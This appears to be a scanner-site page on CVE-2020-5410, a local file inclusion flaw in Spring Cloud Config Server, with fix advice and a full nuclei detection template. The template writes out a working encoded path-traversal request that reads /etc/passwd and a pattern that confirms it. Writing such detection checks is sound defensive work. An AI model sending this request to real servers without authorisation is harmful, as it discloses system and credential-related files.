Spring Cloud Config Server - Local File Inclusion

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

highseverity

7.5CVSS score

95.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.

Impact

An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.

Fix

Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.

How to confirm it

Send: GET {{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-5410 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-5410

info:
  name: Spring Cloud Config Server - Local File Inclusion
  author: mavericknerd
  severity: high
  description: Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
  reference:
    - https://tanzu.vmware.com/security/cve-2020-5410
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5410
    - https://github.com/Live-Hack-CVE/CVE-2020-5410
    - https://github.com/tdtc7/qps
    - https://github.com/alphaSeclab/sec-daily-2020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-5410
    cwe-id: CWE-23,CWE-22
    epss-score: 0.95586
    epss-percentile: 0.9987
    cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_config
  tags: cve,cve2020,lfi,springcloud,config,traversal,kev,vmware,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from